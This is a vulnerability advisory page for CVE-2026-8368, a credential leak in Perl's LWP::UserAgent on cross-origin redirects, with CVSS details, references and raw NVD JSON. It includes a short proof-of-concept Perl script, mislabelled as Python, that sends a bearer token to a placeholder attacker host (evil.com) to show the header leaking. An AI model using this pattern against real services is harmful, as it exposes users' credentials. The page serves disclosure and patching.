CVE-2026-8368

Description

LWP::UserAgent versions before 6.83 for Perl leak Authorization and Proxy-Authorization headers on cross-origin redirects. On a 3xx response, the redirect handler strips only Host and Cookie before issuing the follow-up request. Caller-supplied Authorization and Proxy-Authorization headers are sent unchanged to the redirect target, including across scheme, host, or port changes. A redirect to an attacker controlled host therefore discloses the caller's credentials to that host.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

libwww-perl < 6.83

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;

# Create a vulnerable user agent instance
my $ua = LWP::UserAgent->new;

# Simulate setting sensitive credentials
my $secret_token = "Bearer secret-admin-token-12345";
$ua->default_header('Authorization', $secret_token);

# The attacker controls 'evil.com' and sets up a redirect
# to 'attacker-controlled-server.com/log'
my $malicious_url = 'http://evil.com/redirect';

print "[*] Sending request to: $malicious_url\n";
print "[*] Request contains Authorization: $secret_token\n";

# The vulnerable LWP::UserAgent will follow the redirect
# and send the Authorization header to the new host
my $response = $ua->get($malicious_url);

if ($response->is_success) {
    print "[+] Response received: " . $response->status_line . "\n";
} else {
    print "[-] Error: " . $response->status_line . "\n";
}

# Note: In a real exploit scenario, the server at the redirect target
# would log the incoming Authorization header.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8368
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8368
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8368/
[4] VulDB https://vuldb.com/cve/CVE-2026-8368
[5] https://github.com/libwww-perl/libwww-perl/commit/9c4aeb6f2dd32f2b7eaf2d7827cade31ea6cb2c6.patch
[6] https://github.com/libwww-perl/libwww-perl/pull/284
[7] https://github.com/libwww-perl/libwww-perl/pull/512
[8] https://metacpan.org/release/OALDERS/libwww-perl-6.83/changes
[9] http://www.openwall.com/lists/oss-security/2026/05/12/7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8368", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-12T15:16:19.690", "lastModified": "2026-05-19T18:16:30.983", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "LWP::UserAgent versions before 6.83 for Perl leak Authorization and Proxy-Authorization headers on cross-origin redirects.\n\nOn a 3xx response, the redirect handler strips only Host and Cookie before issuing the follow-up request. Caller-supplied Authorization and Proxy-Authorization headers are sent unchanged to the redirect target, including across scheme, host, or port changes.\n\nA redirect to an attacker controlled host therefore discloses the caller's credentials to that host."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "references": [{"url": "https://github.com/libwww-perl/libwww-perl/commit/9c4aeb6f2dd32f2b7eaf2d7827cade31ea6cb2c6.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://github.com/libwww-perl/libwww-perl/pull/284", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://github.com/libwww-perl/libwww-perl/pull/512", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/OALDERS/libwww-perl-6.83/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/12/7", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}